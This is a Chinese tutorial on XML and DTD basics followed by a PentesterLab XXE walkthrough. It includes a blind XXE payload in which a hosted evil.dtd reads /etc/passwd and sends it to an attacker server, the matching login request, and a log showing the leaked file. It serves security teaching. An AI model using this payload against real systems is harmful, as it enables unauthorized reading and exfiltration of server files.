Xxe漏洞及xxe练习

如果有问题请您指正。

XML基础

xml 是 可扩展标记语言(EXtensible Markup Language)的缩写。它与HTML类似同为w3c推荐标准,但是比HTML要严谨。因为它所有的标签一定要闭合。 同时它也可以用自己定义的标签,但是XML是不作为的标记语言,不像HTML,XML只是将数据结构化存储与传输。 w3cschool-xml的教程

  1. XML有关的几点:

    • 所有XML都必须要有关闭标签。

      1
      <note> this's note example <note>
    • 所有XML的标签对大小写敏感

      1
      2
      3
      <Message> i've something to tell u </Message>
      <message> the '<Message>' is different with '<message>' </message>
      <!-- 在XML里不允许出现 <|>|'|"|& 五个符号,上边出现是为了演示方便。 -->
    • XML的属性值必须加引号

      1
      2
      3
      4
      5
      6
      7
      8
      <!-- wrong example -->
      <note data=8/2/16/> </note>
      <!-- right example -->
      <note data="08/02/16"> </note>
    • 在XML中有五个符号需要实体引用

实体引用 符号 中文解释
&lt; < 小于号
&gt; > 大于号
&amp; & 和号 c
&apos; ' 单引号
&quot; " 双引号

DTD验证

DTD是文档类型定义(Document Type Define)的缩写,其作用是定义XML文档的合法构建模块。 W3C School DTD 教程. DTD实体变量在使用是以&开头,以;结束

  1. DTD 举例说明

    • 在内部

      语法如下: <!DOCTYPE 根元素 [元素声明]>

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      <!-- This's a DTD example in XML file -->
      <?xml version="1.0"?>
      <!DOCTYPE note [
      <!ELEMENT note (to, from, heading, body)>
      <!ELEMENT to (#PCDATA)>
      <!ELEMENT from (#PCDATA)>
      <!ELEMENT heading (#PCDATA)>
      <!ELEMEhhNT body (#PCDATA)>
      ]>
      <note>
      <to> shinpachi8 </to>
      <from> shinpachi8 </from>
      <heading> Remider </heading>
      <body> Don't forgot working hard </body>
      </note>
      • !DOCTYPE note 定义此文档是note类型的文档
      • !ELEMENT note 定义note元素有四个元素 : to,from,heading, body
      • !ELEMENT to|from|heading|body 定义to|from|heading|body元素为#PCDATA 类型
    • 外部文档声明

      语法如下: <!DOCTYPE 根元素 SYSTEM|PUBLIC “文件名”>

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      <?xml version="1.0"?>
      <!DOCTYPE note SYSTEM "note.dtd">
      <note>
      <to> jxy </to>
      <from> jxy </from>
      <heading> Remeber </heading>
      <body> Don't forgot work hard </body>
      </note>
      <!-- note.dtd
      <!ELEMENT note (to,from,heading,body)>
      <!ELEMENT to (#PCDATA)>
      <!ELEMENT from (#PCDATA)>
      <!ELEMENT heading (#PCDATA)>
      <!ELEMENT body (#PCDATA)>
      -->
  2. DTD 解释
    所有的XML以为HTML文档均为以下简单的构建模块构成.

元素 属性 实体 PCDATA CDATA
同上 同上 同上 PCDATA是会被解析器解析的文本,这些文本将会被解析器检查实体与标记。 CDATA是不会被解析器解析的文件。

重点在于 DTD中的实体声明。这是XXE洞的基础。其中SYSTEM|PUBLIC是两种状态,一是私有的,另外一个是公有的。可参考 这篇文章

  • 一个内部实体的声明
1
2
3
4
5
6
7
8
9
<!ENTITY 实体名 "实体的值" >
<!-- Examples -->
<!ENTITY write "Shinpachi8" >
<!ENTITY copyright '@Shinpachi8'>
<!-- 参数变量声明 -->
<!ENTITY %foo1 SYSTEM "foo1">
<!-- 在使用时,用%来使用. -->
%foo1;
  • 一个外部实体的声明。
1
2
3
4
5
6
7
8
<!ENTITY 实体名 SYSTEM|PUBLIC "url/uri">
<!-- Example -->
<!ENTITY writer SYSTEM "http://xxx.com">
<!ENTITY copyrite PUBLIC '../xx.dtd'>
<!-- 参数变量声明 -->
<!ENTITY %foo1 SYSTEM "file:///etc/passwd">
<!ENTITY %foo2 SYSTEM "http://127.0.0.1/id=%foo1;">
  • CDATA 解释
    这里稍微解释一下CDATA的内容。如上所说CDATA是不应由XML解析器进行解析的文本数据 (Unparsed Character Data)。在CDATA中,即使’<>&’符号也不会产生错误。CDATA部分由<![CDATA[开始,由]]>结束。但是CDATA部分不能包含字符串]]>。如下.
1
2
3
4
5
6
7
8
9
10
<script>
<![CDATA[
function matchwo(a, b){
if (a < b && a < 0) then
{
return 1;
}
}
]]>
</script>

XXE 漏洞

OWASP关于XXE的一些文档:

  1. Testing for XML Injection)
  2. XML External Entity (XXE) Prevention Cheat Sheet_Prevention_Cheat_Sheet)

另外还有一些关于XXE的CTF:
1.GoSecure CTF
2.HACK YOU 2014

现在这一部分是由PENTEST LAB的XXE练习来总结的。也参考了以上的内容。

  1. pentest lab 上下载iso镜象并安装至VIRTUAL BOX上。打开网页是一个登录界面。
  2. 用BURPSUITE做代理得如下。
    play xxe login
  3. 用xml的实体来试。
    输入为:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    POST /login HTTP/1.1
    Host: 10.108.40.26
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: http://10.108.40.26/login
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    Content-Length: 37
    <?xml version="1.0"?>
    <foo>xxe

    虽然 请求内容为非正常的XML, 但是回复与上图相同。 原因在于Content-Type请求头未设置。即如果请求为:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    POST /login HTTP/1.1
    Host: 10.108.40.26
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: http://10.108.40.26/login
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    Content-Type: text/xml
    Content-Length: 31
    <?xml version="1.0"?>
    <foo>xxe

    那么响应为:

    1
    2
    3
    <p id="detail">
    For request 'POST /login' [Invalid XML]
    </p>

    可以看出是有XML问题的。 但是如果请求一个正常的XML格式,返回的内容与图一致。即这是一个Blind XML. 需要一个带外数据通道来显未数据。

  4. Blind XXE

    • 首先在攻击者的服务器建一个DTD的数据格式文件。其内容为:

      1
      2
      3
      <!ENTITY %file SYSTEM "file:///etc/passwd">
      <!ENTITY %request "<!ENTITY foo SYSTEM 'http://your.IP/id=%file;'>">
      %request;
    • 在LOGIIN时POST数据更改为:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      POST /login HTTP/1.1
      Host: 10.108.40.26
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
      Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
      Accept-Encoding: gzip, deflate
      Referer: http://10.108.40.26/login
      Connection: keep-alive
      Content-Type: text/xml
      Upgrade-Insecure-Requests: 1
      Content-Length: 98
      <?xml version="1.0"?>
      <!DOCTYPE xxe SYSTEM "http://10.108.41.62:8000/evil.dtd">
      <xxe>foo</xxe>

      此时会在攻击的本地生成一条请求记录如下:

      1
      10.108.40.26 - - [04/Dec/2016 20:13:47] "GET /evil.dtd HTTP/1.1" 200 -

      即这时我们已经成功的进行了请求。 如果 把请求内容改成。这里&符号后边的foo,对应的是自己写的DTD文件中的foo

      1
      2
      3
      <?xml version="1.0">
      <!DOCTYPE xxe SYSTEM "http://10.108.41.62:8000/evil.dtd">
      <xxe>&foo;</xxe>

      刚在攻击者日志会显示 :

      1
      2
      10.108.40.26 - - [04/Dec/2016 20:19:40] "GET /evil.dtd HTTP/1.1" 200 -
      10.108.40.26 - - [04/Dec/2016 20:19:40] "GET /?id=root:x:0:0:root:/root:/bin/sh%0Alp:x:7:7:lp:/var/spool/lpd:/bin/sh%0Anobody:x:65534:65534:nobody:/nonexistent:/bin/false%0Atc:x:1001:50:Linux%20User,,,:/home/tc:/bin/sh%0Apentesterlab:x:1000:50:Linux%20User,,,:/home/pentesterlab:/bin/sh%0Aplay:x:100:65534:Linux%20User,,,:/opt/play-2.1.3/xxe/:/bin/false%0Amysql:x:101:65534:Linux%20User,,,:/home/mysql:/bin/false%0A HTTP/1.1" 200 -

      在BURPSUITE里 DECODE一下即为:
      play xxe file read
      可以看出来。已经成功的读取到了/etc/passwd的文件内容。这个ISO练习还有一部分,但是不是涉及XXE的问题,所以有兴趣的可以自己尝试一下。

文章目录
  1. 1. XML基础
  2. 2. DTD验证
  3. 3. XXE 漏洞
|